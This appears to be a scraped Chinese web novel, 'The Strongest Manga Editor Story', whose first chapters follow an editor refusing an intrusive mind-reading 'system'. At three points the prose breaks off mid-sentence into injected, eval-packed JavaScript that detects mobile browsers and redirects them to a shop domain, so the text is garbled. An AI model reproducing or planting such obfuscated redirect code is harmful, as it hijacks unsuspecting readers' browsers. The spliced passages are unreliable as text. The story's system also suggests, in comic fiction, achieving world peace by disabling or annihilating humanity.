《最强漫画编辑物语》 1. 不请自来的系统 “我不需要什么系统。” 黑野编辑坐在自家的屋子里说。 来源不明的声音仍在进言,【你再好好考虑下?这可是百利无一害的奇遇呀。】 来者刚刚自称是最强漫画编辑系统,想要和黑野编辑绑定,完成所谓的职业任务。 黑野编辑从事漫画编辑行业已有多年,很清楚什么叫做系统,但他从未在现实里见过这种由人类虚构出来的事物。 他怀疑有人在屋子里安装了隐藏播音器来整蛊他。 在他如今暂居的这个国家,各种奇怪的综艺节目很是猖獗,难保没有哪个节目制作人会对捉弄漫画编辑产生兴趣,煞费苦心安排一宗闹剧来整他。 黑野编辑掏出手机播放刚刚的录音。“我不需要什么系统。”他自身的声音毫无滞碍地从播音器中流出来。 之后是一阵空白的静默。 那个声音要么是幻听,要么就是真正的高维对话。 幻听?虽说平日里和那群漫画家斗智斗勇,要承受的压力很大,但黑野编辑可不认为自己的精神状态会糟糕到出现幻听的地步。 也不排除器质性病变的可能。万一是颞叶血栓或肿瘤导致幻听呢?黑野编辑对冷门病例也很熟悉。博闻强记、思虑周全是他严格要求自我的职业基本功, 他默默将体检计划加入了行程清单。 他会谨慎验证一切可能性。 【人类的设备可捕捉不到我的信号。】那个声音的语调很轻松,【别太小瞧我啊。】 【我是不是该介绍下自己的功能?我的目标是将你培育成业界最强的漫画编辑,能为你提供职业道路上所需要的一切助力。】那个声音似乎没有察觉黑野编辑的怀疑,仍在信心勃勃地自我推销。 【怎么样,要看看我给你列的任务清单,为了实现理想一起努力吗?】 “虽然不知道你为何找上我,但我没有这样的理想。” 黑野编辑姑且答道。 【哦,咸鱼型主角,我看过这种类型。】那个声音自顾自地下定义,【没关系。我等得起。】 【立志也是通往最强的必经之路,我很高兴来得早,没有错过这么精彩的一段起源故事。】 【在你准备好领取任务前,我也会一直陪着你的。】 黑野编辑皱起眉。 那个声音毫不在乎,滔滔不绝地说下去,【在你开启任务前,我没法向你展示太多的功能,可你很快就会了解到我的好处的。】 【看,就算你躺平摆烂,我单单只存在于这里,也能胜任数据记录、分析侦查、地图指引等种种辅助功能。想想看,在别人眼里你将是个过目不忘的天才呢。这些最基础的指引性功能,高低也抵得上一个实用异能了,还是最稳定无害的那种,这都只算是免费附赠的额外好处。】 【你不想听听开启任务系统后的详细内容吗?】 它适时地停下来,极有信心地卖了个关子。 听到异能这个词时,黑野编辑微微抬眉,似乎有所触动,可最后还是回答道,“这个世界不是灾难生存类漫画,我不需要这些功能。” 【哈。】系统发出意味不明的声音。 【那你需要朋友吗?】它又友好地提议,【我可以随时随地陪聊,为你出主意哦。】 【怎么样?你在人类里可找不到像我这样能够绝对保守秘密,又时刻关心你,全心全意为你着想的朋友了。】 “我有朋友。” 【嘿呀,我可没有说你朋友很少的意思。】 【虽说,通过对你居住环境的痕迹扫描和数据分析,近期来你家拜访的来客并不多。考虑到你目前特殊的身体状况——多奇怪啊,人类不是有慰问探视病中亲友的传统吗?】 黑野编辑没有吭声。 他下意识借用外来者的视角,观察了一遍自己的房屋,和当下的生活。 系统的分析大致上没什么问题。 黑野编辑的确处在特殊的身体状况中,他几周前因见义勇为而骨折,之后一直在家养病。 养伤期间,也的确没有多少访客。 除了编辑部的同僚们组团探访慰问外,上门最多的就只有快递员和外卖员。 可这并不代表他在社会关系上有所缺失,他想。 恰恰相反,黑野编辑居家期间可是收到了大量的慰问电话和邮寄礼物。与他合作过的漫画家无一不亲自致电确认了这个消息,随后热情地请他休假养病,保证会潜心创作不让他操心。 漫画家们无不认真履行了绝对不打扰编辑养病的承诺,从黑野编辑的视野中消失得很彻底。 作为外来者的系统自然不会懂得这种体贴和尊重。 然而,事情不能再这样下去了。 昨天下午黑野编辑接到社里来电,暂代他工作的编辑哭诉说本期按时交来的分镜不足三成,成稿更少,预估漫画家们会一拖到底,求他赶紧重新出山,免得下期开天窗。 “创作者也是需要休息的。”黑野编辑当时冷静地回答,“等他们休息完后连载质量会更好。” 抓紧时间休息也是漫画家们认真对待自身和作品的表现,绝对不会影响黑野编辑和漫画家之间的信任! 事实上嘛,黑野编辑太熟悉他负责的那些漫画家的脾性了,对这种情况并不感到意外。 可与此同时,他也了解那些人的创作热情。没有足够内驱力的漫画家根本无法跟他一起合作到如今这个阶段。 他做出判断,这种拖稿只会是短期现象,他没必要回去接手工作。 他对暂代编辑说,“你也知道我的打算。这次困难是个让你和他们磨合的好机会。” 黑野编辑带的漫画家都是出版社里最难伺候也最高质量的一批。 暂代编辑既感恩这个机遇,又感受到难以负担的沉重压力,答得很勉强,“那我再试试?” “我的建议是先放任他们休息。”黑野编辑对暂代编辑说,“他们在之前的连载中积攒的压力太大了。” 有些盖子他按得住,继任者按不住,而且,这会儿高压阀明显已经爆掉了。 “一朝放松下来,他们没那么快收心的。”作为漫画家的压力源之一,黑野编辑很有经验地下判断,“这时候强压只会起到反效果。 “不如放下追稿进度,先和他们好好沟通,慢慢培养默契。” 暂代编辑忧心忡忡地接受了前任攻略者给出的指导,感觉自己就像是个接手了大佬存档,却怎么都玩不惯高端配置的新人玩家。这可真是个幸福的烦恼啊。 他将自己的烦恼暂时压下去,开始转达杂志社的压力,“可是,下面几期杂志……” “用其他稿件补足就好了。”黑野编辑回答。 黑野编辑很熟悉杂志社的备用稿件库存情况,刊物倒不至于因为这种突发情况就开天窗。但备用稿之所以沦为备用稿,往往就是因为作品质量不够出挑。 这么多当红作品接二连三休刊,要连替补作品都是中庸之作,后果就不只是销量下滑这么简单,会直接影响到杂志整体口碑。这是自砸招牌的事情。 在暂代编辑诉苦前,黑野编辑又问,“新人赏的入围名单差不多通过审核了吧?可以提前刊发吗?” 哪怕隔着电话,黑野编辑几乎也能看到暂代编辑的眼前一亮。 “我去和主编说说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813137|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽说黑野编辑不肯担任主编,但以他在社里的地位和能力,他的提案少有不被通过的,暂代编辑口里这么说,心里却知道这事差不多就能定了。 暂代编辑的声音不由提高了几度,“今年新人赏里那几个开篇,要放出来很有指望能爆火的。” 新人都有光环加身,还能带给读者新鲜感。搞个新人赏专题,让元老暂时休刊退让,也是个传承佳话。就算读者有意见,也不会怀疑是杂志社对几位当红漫画家的掌控力出了问题。 暂代编辑越盘算越觉得这是个好主意,“但新人作者那边对后续连载的态度、能否保持续航水平,也都是要跟进的问题……” “我恢复得差不多可以出门了。”黑野编辑说,“我去看看。” 暂代编辑顿时感觉肩头一松,编辑部中常年笼罩着的那份熟悉的可靠感回来了。 他又听到黑野编辑说,“你也知道,这批新人我带不长久的,到时候会转给你们。” 新人是最难带的,但也可以说是最好带的。 这就好比作品开篇的质量足以决定生死,而后面连载的每一步都比开篇更难。 黑野编辑只打算陪这批新人走过这段能够为职业生涯打下基础的开端。 新人对换编辑这种事情没太多话语权。 过几个月再放手将他们转给其他编辑,会比移交那些熟悉的大咖们更容易。 黑野编辑结束了回忆。 他重归当下,整理好思路,对不请自来的系统说道,“你说自己是最强漫画编辑系统对吧?但我不需要你。” “其一,我自认为在业内已算得上是最强。” “其二,我打算辞职回国了。” 最强漫画编辑系统沉默了,大概是震惊于自己来得不是时候。 黑夜编辑衷心希望它已认识到自己找错了对象,给出建议,“你可以去找别人。” 或许是职业病,黑野编辑见不得资源的错配,“我认识一些同行的好苗子,都是些刚刚起步急于做出成绩的年轻编辑,或许会需要你这样的系统,我可以替你介绍一下。” 【等等!】最强漫画编辑系统没有放弃。 【你录音那会儿,曾以为我是你的幻听对吧?】它快速抓取一个破绽,【既然你自认为有可能在幻觉中诞生出最强漫画编辑系统这样的存在,一定事出有因!】 【你心中是否还存有什么遗憾?】 【你好好看清自己的内心,】它咄咄逼人,【你的最强奖牌上是否存在还无法弥补的瑕疵?你在辞职之际是否还对编辑生涯怀有眷恋不舍?在这个国家里是否还有未竟之事业?】 黑野编辑认真思考一阵。 “没有。” 系统抽了口气,【编辑,你成功引起了我的兴趣。】 它以某种警告般的语气提醒道,【我要有逆反心了。】 “那你的人性化程度还挺高。”黑野编辑下意识地说,“一般来说,我不建议给系统设定这样强势的性格,容易喧宾夺主。” 【你是在假设我们生活于某个作品之中?】 系统不怀好意地提醒,【那你现在就是在质疑你的创作者。不听作者话的主角可不会有好下场。】 黑野编辑从未怀疑过自己生活的世界的真实性,他只是习惯用编辑的视角评估看待事情。 他没有解释这点,就事论事地理性讨论,“首先,创作者不会被自己亲手创作的任何情节冒犯到。 “其次,若这个世界真是漫画小说,你更应该去找别人了。” 他说,“我无意成为主角。” 【哦。】最强漫画编辑系统意味深长地拖长调子。 2. 系统想要火葬场 黑野编辑对不完整的设定有种刨根究底的职业精神。 为何世间会存在想要将人培育成最强漫画编辑的系统?它是被谁创造出来的?其动机是什么?能源又是什么? 这样超越现实科技的力量只用于这样微不足道的小目标吗?若这是部漫画作品,他自然很好理解主题被局限在漫画编辑一道上。 可他身处现实,就会怀疑其背后究竟有何目的。 然而在后续的交谈中,系统咬死自己只是个乐于帮助人们实现梦想的善良小精灵。至于黑野编辑想要钻研的那些设定,它的态度遮遮掩掩,既像是讳莫如深,又像是故意吊人胃口。 黑野编辑没有上钩,他很快对系统的这套故弄玄虚失去了兴趣。 毕竟系统不是他负责的作品,而他时间有限。 “待会有人来接我。”黑野编辑看了眼腕表,惦记着自己的行程安排。 他的腿伤还未恢复到能行走如常的地步。杂志社在他昨日确定工作计划后,为他安排了一位临时助理,来协助他的工作和出行。按照约定好的时间,对方十分钟后就会上门了。 “到时我继续和你说话,会被人当成疯子。” 【不必顾虑这个。】系统雀跃地介绍自身能力,【我之前就想说了,你可以在意识中和我对话。】 【隐蔽,快捷,友善,这就是我的长处。】 “所以,你是那种会读心术的系统?”黑野编辑皱起眉头。 系统突然感觉到不妙。 很多幻想作品的设定,在供人观赏的虚拟世界中无人在意,放在现实中就难以为人接受。 它看黑野编辑先前态度从容,还以为能模糊掉自身能力的边界线,靠系统的身份蒙混过关呢。 事实上,黑野编辑不仅很熟悉幻想作品设定,还对可能引起读者反感的点了若指掌。性格过于强势的系统,又具备窥探内心的能力,已经能令那些代入感强的读者替主角感到不安甚至不快了。 黑野编辑无意代入主角,但他擅长替读者思考主角利弊,而且,当下他就身处现实。 “人类的法律条文可能还无法约束你,我不会指控你侵犯隐私。”他冷静地表达意图,“但是,你令我感到不快了。我想要请你离开。” 他目前旅居就业的这个国家流行礼貌委婉的言辞风格,若“我想要请你离开”这句翻译回他的母语,大概会被简缩成一个字,“滚。” 系统试图狡辩,【你大概误会了,所谓的思维链接是在双方敞开心扉后进行和平友好交流的手段,有复杂的前置条件……】 “你先前提到幻听了,对吧?”黑野编辑回忆起来,系统曾列举他对幻听的怀疑,用来说服他心藏遗憾。 他一针见血地问,“我可以将此理解为,那并非你的推测,而是早就在擅自读心吗?” 系统发现自己低估了编辑在记忆线索方面的能力。 这是大量阅读后训练出来的职业直觉。编辑在阅读时,并非总能在第一时间认出作者预埋的线索。可只要走到关键剧情点,编辑就能立刻回想起前文中与之呼应的伏笔暗示,揪着一个新出现的关键词,轻松地将藏在水面下的整条暗线拎出来。 【好吧。】它快速说道,【说起来……你想看看我的本体吗?】 这是个让步,也是试图通过抛出新设定,将编辑的注意力转移走。 【只要你闭上眼睛,就能看见我了。】 黑野编辑果然照做了。 普通读者在追逐重要情节线索时或许会焦躁地翻页甚至跳读,而黑野编辑在判断作品整体成色时,对突兀的转场和临时插入的剧情素来很有耐心。 他能够容忍这种搁置矛盾和转移话题的手法。 黑野编辑闭上眼睛。 若在过去,他只能看见被眼皮遮挡后的黑暗。如今这片熟悉的黑暗中,有什么东西正在幽幽放着光亮。 他看清了。 那是个漆黑的小盒子,哑光质地,周身缠绕着温和的光。 【这就是我了。】 系统知道转移话题的拖延只是暂时生效,编辑会在篇章完结前要求作者对所有线索给出交待。所以它直接拿出新的方案,【你可以试着握住我。】 【我会关闭自身读取宿主思维的权限,只在你主动握住我的时候才开启它。】 这不是虚幻的存在吗?竟然可以碰触? 黑野编辑好奇地伸手去摸那个匣子。 他仍闭着眼睛,所以看不见自己的手。可他摸索时,能感觉到自己握住了某件方方正正的物品。 匣子竟然是温热的,质地偏软,像是软木,又光滑得像是某种动物的骨头。 黑野编辑判断不出其材质和特性,只觉得这玩意很适宜握在手中把玩——不知道这种素材是否有哪位漫画家们需要。 按照系统所说,握着匣子的黑野编辑正处于被读心的思维链接中。 被评头论足的匣子礼貌地保持着沉默。 当黑野编辑握着匣子拿到近前观察时,匣子的位置随着他的手在移动。 可当他重新睁开眼睛时,匣子的质感和温度重新从手中消失了,他视线中只有自己空荡荡的手掌。他再抓握了一下,手中什么都不存在。 再度闭眼,匣子又回到了手中。 【闭上眼能够帮助你更好地感受想象。】匣子解释道,【只有当你认真想象时,才能体验到我。】 【想象力丰富的漫画家,大概睁着眼也能看见甚至摸到我吧,但你不行。】 黑野编辑很坦然地接受了自己的能力不如那些漫画家的设定。 毕竟他只是个编辑。 【其实这样有些不方便——交流时你得闭上眼睛,才能定位到我,然后握住我开启意识对话。要么你不能在公众场合里主动问我问题,要么你就得被当成瞎子。】 【既然要照顾你隐私,那也没办法。】匣子遗憾地说,又巧妙地抛出点诱饵,【要做点任务来提高你的想象力数值吗?】 “两则更正。其一,没有不方便。”黑野编辑松开手,“我原本就不需要意识对话。” 他继续用自己的声音说道,“我完全可以对你的存在置之不理,只是出于礼貌才回应你,与你交谈。” 他的话才说到一半,匣子就在他耳边发出了伤心惊讶的抽气声,听上去很真实。 “其二,”黑野编辑不为所动,继续纠正匣子语句中的不当之处,“这不是对我的照顾。 “寻找令双方都感到舒适的谈话方式,是你的责任,而非我的。” 匣子没有吭声。 黑野编辑心想,事实上,那个只有主动握住匣子才能开启思维读取的承诺,也全挂在匣子的一张嘴上。读心权限的真实运作情况只有匣子自己知道。 不过,明明读过心,却能装作什么都不知道也是一种尊重。 黑野编辑刚刚又想了想,觉得用人类狭隘的生理条件去限制非人生物如呼吸般的日常,似乎也不对。人类不可能要求鸟不飞翔、鱼不游泳。 哪怕匣子额外读心,但只要它不暴露,也就是说,只要它在外人面前替黑野编辑保守秘密,又不在交流中利用读心术的成果故意揭短,黑野编辑就可以容忍。 他不认为匣子能在自己的严苛检查下,长期偷偷利用这种优势却不被察觉。 与此同时,黑野编辑再度记下一条备忘。 如果之后他成功将这个可能有用的匣子介绍给其他合适的编辑,也要提醒下位编辑留意保护自身的隐私情况。 在思考这些时,黑野编辑没有碰触匣子。 如果匣子所言属实,它就没有听到他执着地想要将自己转手给其他编辑的心声。 又或许它是正在装作没有听到。 ——看上去还是乖乖巧巧的一口匣子。 “最后,”黑野编辑回答道,“编辑不需要想象力。发挥想象力来创作是漫画家的事情,编辑不应该越俎代庖。” 他本能地给出指导,“我建议你重新设计你的任务激励体系。” 【你对奖励有兴趣了?】匣子立刻抓住时机,【要不要看看我的……】 “你的简历呢?”黑野编辑的话语打断了匣子的自我推销。 【哈?】匣子一时没有做出反应。 它大概从未想过系统就业上岗时还需要向宿主提供简历的。 “没有?”黑野编辑平静地接受了这个事实,“那先做个口头答卷吧。你的产地?目标?业绩履历?对下一个宿主有怎样的要求?需要什么报酬……” 【呵,不就是简历吗?】匣子无法容忍自己被人类考倒,【人类,你想要什么风格的都有,我现在就编给你看……什么叫下一个宿主!?】 【你还是想将我转手给其他人!?】 黑野编辑对匣子的这种反应感到困惑,“我没有任何留下你的理由。” 他再检视了一次方才的对话记录,确认自己没有错过什么重要信息,匣子这边一直都没有提出足够强有力的申请理由,反倒是对侵.犯隐私的事情还没道过歉。 匣子梗了一下,开始耍赖,【我们都聊了这么久的天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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匣子哼了一声,【你还没辞呢。】 它也是有几分犟脾气的,还真和黑野编辑卯上了。 哪怕这是它第一次尝试做个系统,匣子也绝不接受失败。 这个宿主它非绑定上不可。 匣子立刻拟定了复仇计划。它要用最丰厚的福利狠狠地腐蚀这个人类的意志,要用最体贴的陪伴救赎这个男人冷漠的心灵,等彻底驯服男人后再拂袖而去。 它等着这家伙追悔莫及地求着它回来,为今日的无礼相待谢罪道歉——它要在十集之内看到黑野编辑的追统火葬场! 匣子不仅恶补过人类的流行文化,还是个性格利索的系统,打定主意要走“黑野编辑追统火葬场”结局了,就立刻盘点家底,为黑野编辑筹备起了常人难以拒绝的新手大礼包。 它多少被黑野编辑直来直去的说话风格传染,边打包礼物边毫不客气地询问,【你们人类对系统是叶公好龙吗?】 它来此前做过文化调研,系统金手指明明是广受大众喜爱的流行题材,现在这局面和它事前预判的情况可完全不一样。 “不是。”黑野编辑丝毫没被冒犯到,认真回答,“大部分人类应该都不会拒绝与众不同的特殊待遇。 “这是我的问题——我不喜欢不劳而获的事物。” 匣子立刻中断进程,将还没来得及向编辑透露暗示的新手大礼包一脚踢进回收站。 它全面复盘并评估黑野编辑的道德洁癖严重程度。这条情报来得太晚了,它居然打从开场白就在走利诱的错误路线! 早知道黑野编辑是这种人设……不,它还有办法。 黑野编辑从匣子的短暂停顿中,以为对话产生了效果。 他劝说道,“我能处理好自己的工作,也不需要任何额外帮助,你想要实现自身价值的话,应当尽早去寻找其他合适的人类。” 与此同时,匣子也再度开口,【看来是我最初的自我介绍有点问题。其实我也可以有个别名,叫做天道酬勤系统。】 两句话的尾音同时落下。 一人一匣在黑暗中望着彼此,都意识到对方是个态度强硬、固执已见的对手。 面匣相觑中,匣子率先打破沉默,【门外有客人到访。】 虽说匣子打算从此改变系统风格,但记录库和小地图等便利功能先前都夸过海口了,若为了避嫌讨好,遇事不做提醒,反而显得冷漠,连朋友的人设都会崩掉。 不如温水煮青蛙。它绝不轻易放弃自己的追统火葬场之梦。 按时间算,来客当是从杂志社来接黑野编辑的助理。 十分钟到了。 3. 目标是世界和平 黑野编辑闭上眼找到系统匣子,将其一把抓起,揣进兜里。 今天有预订好的工作安排。他早就换好了外出的着装,此刻拿起准备好的公文包,杵着拐杖向玄关走去。 受伤的腿还没好全,黑野编辑走得很慢,好不容易走到门边,才听到了门铃声。 他拉开门,一道阴影笼罩下来。 访客动容于黑野编辑应门这么快,他的手还没来得及从门铃上落下,神情因而有些尴尬。 黑野编辑也很惊讶,来访者的脸很陌生,而且身材高大。黑野编辑的身高在这个国家算得上是中上了,能让他仰视的人很少见。眼前这种身高通常出现在体育竞技漫画里,而不是现实中。 黑野编辑认识编辑部的所有人,却不认得眼前这张脸。 那张高度需要他仰视的脸,意外很年轻,青涩未褪。整个人套着职业装,但举止还像是个刚毕业的男大学生。 如果这不是社里雇来照顾他的临时工,就是在他养病期间到社里报道的新人编辑。 黑野编辑明确地提出过,在带完这届新人漫画家后会将工作转交给其他编辑负责。 这时候被派来给他打下手的助理,大概率就是之后接替他这部分工作的人。 也就是说,他结束职业生涯前的最后一桩工作,不仅要带新人漫画家,还要带新人编辑吗? 黑野编辑心想,社长的安排,对他也未免太物尽其用了吧? 新人的名字是佐藤鹰之助。 其一,他的确是刚报道的新人编辑。 其二,他也的确是个刚毕业的男体育生。 人设太简单了。黑野编辑不由评价。 可人设一目了然也是个长处。 黑野编辑接受了这点。他很擅长发掘作品的优点,也擅长热爱生活。 新人编辑话很少,不问就不答,但在照顾人上很有行动力,也擅长充分发挥体能上的优势,这令黑野编辑感到安心。 如果新人在搀扶他时没有用力过猛就更好了。黑野编辑感觉自己几乎是挂在新人有力的臂膀上,被提去了车边。 新人编辑开来的车是台很实用的皮卡。他先将黑野编辑送入副驾座中,再回返宅门边拿起没派上用场的轮椅,折叠后放入货箱并固定好。 黑野编辑记得,从匣子提示来客到门铃响起有一段时间,他原本以为是新人怕生犹豫,迟迟不敢按门铃。现在看来,那期间新人大概是在装卸自带的轮椅。 黑野编辑不觉得带轮椅的行为小题大做。他暗自赞赏新人做事周全,不怕折腾,是个好苗子。 他问,“知道要去哪吗?” 新人点点头,坐进驾驶室,系上安全带,油门一踩就出发。 这种沉默寡言的性格更得黑野编辑的喜爱。他心想社长这回还算厚道,给他安排了个合适的替任人选。 黑野编辑闭目养神,将手插入兜里,握住匣子,在意识中喜悦地发问,【你觉得这个苗子如何?有没有去找他谈谈待遇的想法?】 这就是他特地带上匣子出门的原因。 匣子没想到自己这么快就被安排上相亲。 枉它刚刚还知情识趣地保持沉默,等待着编辑的宠幸。 【……你在侮辱我的忠贞。】它故作幽怨,语声婉转,【我们见面不过半天,我就转投他人,这事传出去,岂不是让其他人都以为我是个随便的统?】 【哦,你想要坚持气节。】黑野编辑不理解但尊重这个文化传统,【你可以多留一段时间,等找到借口了再走。】 匣子简直要气笑了,语气反而变得冷漠,【我怕他经不起折腾。】 刚刚更名为天道酬勤系统的匣子已经重新调整完奖励机制,它从衣兜中透出光芒,将密密麻麻的任务目标清单和奖励内容投映到黑野编辑的眼前。 【如何?】 这是它对黑野编辑下的挑战书。 宿主不是喜欢磨炼吗?它抓取了市面上最流行的各类爆肝游戏,取其精华也取其糟粕,炼就一款兼顾肝度与爽点的任务清单! 绝对能让最严苛的教导主任直呼奖惩有度,让最勤劳的卷王原地红眼爆肝欲罢不能。 黑野编辑浅浅扫了一眼。 那些用于升级的经验条长得望而生畏,若非有恒心毅力的编辑,的确很难从中拿到好处。 就好处来说,按审稿时长积累经验值所获得的升级奖励是技能【一目十行】【火眼金睛】等,奖励也与实际行为挂钩。 看得出匣子真的很想要摆脱“不劳而获”的污名。 但他依旧无动于衷。 【随机敲一千万次键盘就能写出哈姆雷特吗?】 这也只是个游戏。 他一眼就看穿了,这是市面上常见的那种游戏类型。所谓的刷技能熟练度、刷好感度、刷装备,看似在投入时间和努力,本质上不过是将复杂的世界简单化、数值化而已。 若没有自我的思考和提炼,再多的努力都只是在重复简单机械行为,耗费时间到最后也不会获得真正的成长,只能获得虚假的游戏数值。 系统给出的奖励或许不虚,但……现实的逻辑不是这样运转的。 这难道不算是不劳而获? 黑野编辑试图劝匣子放弃,【帮助漫画家专心创作、审稿、收稿、打造受欢迎的作品……你发布的这些任务原本就是我的本职工作,我靠处理这些事务来获得一份适当的工资。】 【没有你的存在,这些事务也会照常进行。因为这些行为拿到奖励,就和因为呼吸拿到奖励一样无稽。从你这儿获得的所有额外收益,都能算得上是不劳而获。】 【……】 所以,任务方向和宿主原本的生活目标重合是我的错啰? 匣子气得简直想要把自己的功能从漫画编辑系统改成吃屎系统,保证宿主从它这里挣到的每份收益都是亮闪闪的独一无二的辛苦钱。 不,它克制住冲动,为了一个需求不正常的宿主,让自己变成个有味道的匣子,这不值得。 匣子诱导地问,【你瞧不起这种游戏?】 作为一个正直真诚的系统,它打定主意要记录下黑野编辑抨击大众趣味的极端发言,然后去匿名论坛狠狠挂他。 【不。】黑野编辑低声说,【所有存在都是因为人们的需要。】 他曾在此事上犯过错误。如今已经过漫长的反省,才能体谅地说出过去不曾察觉的发生于他人身上的事实,【现实是很痛苦的。】 ——随机敲一千万次键盘不能写出哈姆雷特,可就算投入万般精力和思考,写出了哈姆雷特,也有可能无法出版,会被埋没。 投资可能失败,努力会输给运气,梦想会屈从于利益。 人们的努力付出不一定会得到等值的回报。无论流下多少汗水,碍于出身和见识,一开始努力的方向可能就是错误的。自我的成长又总是与他人的利益相悖,常常遭遇无法反抗的外部打压。 但在游戏里,所有的浪费时间都能换成数值上的成就感来返还。 这种能够掌控的确定感,才是人们会将时间抛掷在数值化游戏中的根源。 【人们在虚拟作品中寻找快乐和安慰,从中获得继续在残酷现实中生存的勇气。哪怕是最荒谬最空虚的作品,对其读者来说都具有重要的意义。】 黑野编辑深深吸了口气,说,【我不接受你,但有些人或许需要这份奖励。】 匣子差不多弄懂了黑野编辑的想法,【只是你不喜欢。】 黑野编辑承认,【我说过,这是我的问题。】 匣子几乎要为黑野编辑的自知之明感到欣慰,总结道,【你有问题。】 黑野编辑不以为忤,【所以,你觉得旁边这个新人编辑如何?】 匣子悚然一惊,明明它才该是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813139|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发起劝说攻势的这一方,怎么莫名站到了被劝席上?它就不该逞一时的口舌之快,差点落入了对方的陷阱。 匣子搓了把冷漆,暗叹黑野编辑老奸巨猾,难怪能从那么多拖稿老赖那里催出稿来。 它要的就是有这种实力的宿主,绝不轻易改旗易帜! 匣子也不是易与之辈,很快就找到了新角度,【就算是你负责的作品,主角里开金手指的也不在少数吧?你对他们收获的天降横财有何看法?】 这个问题很刁钻,系统暗自满意。 黑野编辑答得很快,【其一,我不拿自己的尺子来量别人。】 道德是用来律己而非责人的。 他不在意他人的评价,也从不妄议他人的喜好追求。正因如此,他在工作中和许多有怪癖的漫画家都处得不错。 【其二,编辑的职责原本就是做大众觉得优秀的作品,而非编辑自身喜爱的作品。】 匣子立马追问,【你不喜欢自己负责的作品!?】 它都已经连接上网络,打开漫画论坛注册好账号了——只等着黑野编辑说出心里话,它就去爆料挂人! 【我负责的作品中,那些角色往往都身负着必须采纳任何手段来强大自身的理由。】 黑野编辑条理清晰地解释,【复仇、生存、寻找血亲、拯救世界,这些重要的目标本就该不惜一切代价去完成,为了道德洁癖而放弃助力,不是很愚蠢迂腐吗?】 最后他回答匣子的问题,【不,我都喜欢。】 匣子的攻击再度落空,它怀疑自己在和一堵铁壁谈判。 但没关系,它已经捕捉到了铁壁顶端的一线曙光。 【那你呢?】匣子古怪地沉默了一瞬,果断抓着那线曙光问,【你有没有什么宁愿放弃道德洁癖,也非得实现的远大理想?】 于是黑野编辑认真地想了想,试着抛出一个小目标,【世界和平?】 匣子沉默了。 是它的错,是它选择利诱时抛出来的饵不够大,让宿主看不上眼。难怪黑野编辑一口一个我不需要。这样志向远大的宿主怎么会对它先前提出的蝇头小利有需求? 【可以啊。】 它的语气反而变得轻松,【只要攒够积分,没什么做不到的。】 【——你想要用哪种方式实现世界和平?】 黑野编辑首次真正对这个匣子感兴趣了,【都有哪些方式?】 他用手指轻轻地捏着这个匣子,像是小心翼翼地捏着一枚核弹。 【受限于人类群体目前的道德水平和生存模式,我的建议是抹消所有人类的行为能力呢。众所周知,植物人是不会打架的。】匣子换了客服专用语气答道。 【当然,参考我从人类文化中获得的信息,还有其他的方案供你选择。】 【比如说,毁灭世界只留一个人,彻底解决人类无法达成和平共识的问题。这个方案所需要的积分是最少的喔。】 【不想杀人的话,就有些麻烦了,得实施彻底的高压统治来镇压所有纷争,还得长期维护。维护费很贵哦,要不就得靠你自己长期亲手操作。】 【如果您喜欢和和美美的温馨喜剧,也可以给所有人类洗脑,或是编织一个和平的美梦,让全人类在梦中世界里过上幸福生活……你做什么?】 黑野编辑闭着眼睛,将匣子从兜里拿出来,放到眼前仔细观察,翻来翻去不放过每一个角落,甚至试图打开它。 【你要做什么呀啊啊啊啊?】匣子叫得活像是个被人掀裙底的伪娘,矫揉造作的惊慌失措里藏着兴奋的欲拒还迎。 黑野编辑合理怀疑它藏着些什么想要吓人一跳的大东西。 他默默放弃了开盒行为。 ——匣子的思路被他将要离开的这个国家的文化腌得太入味了。 黑野编辑刚刚只是想要确认,匣子上是否有“樱岛制造”的产地标识。 4. 黑野不是姓 黑野编辑放下匣子,意识到自己刚刚检查匣子的行为,可能会令看不见匣子的外人费解。 他睁开眼,侧头看向驾驶座上的鹰之助,目光掠过时,正好撞见新人从后视镜上匆忙撤走的视线。 车载收音机的播报信号都恰巧随之波动了一下,像是某种紧张不安的心情。 黑野编辑没有意识到,上司等车后板着脸一言不发,这种沉默会给刚入职的新人带来怎样的压力。 他只想到一件事——鹰之助或许已偷偷观察他很久了。 系统匣子验证了这个想法。 【是的,你和我聊天时,他趁你闭着眼一直在偷看你。】 它之前没有提醒黑野编辑,【我还以为你不在意呢。】 它还发现了另一件事情,但是不愿意主动报告。 大概是为了掩饰紧张,新人伸手调了一下收音机。 车载收音机跳到另一个电台,新电台信号稳定,声音清晰,正在播报的是一则呼吁青少年觉醒异能后尽快向师长寻求帮助的公益广告。 在这个世界里,异能是一种偶尔会发生在特殊个体身上的异常现象。 觉醒异能的人往往是突然暴发异能,又常常没有征兆地失去它,几乎所有觉醒异能的人都热爱将它消耗在个人意愿上,而不热衷于参与到什么社会事业中去。所以,专家认为它来源于强烈的自我意识,甚至将其视为一种青春病。 在樱岛这样的社会环境里,只考虑自己是可耻的事情。 异能者往往被视为自私的奇葩。 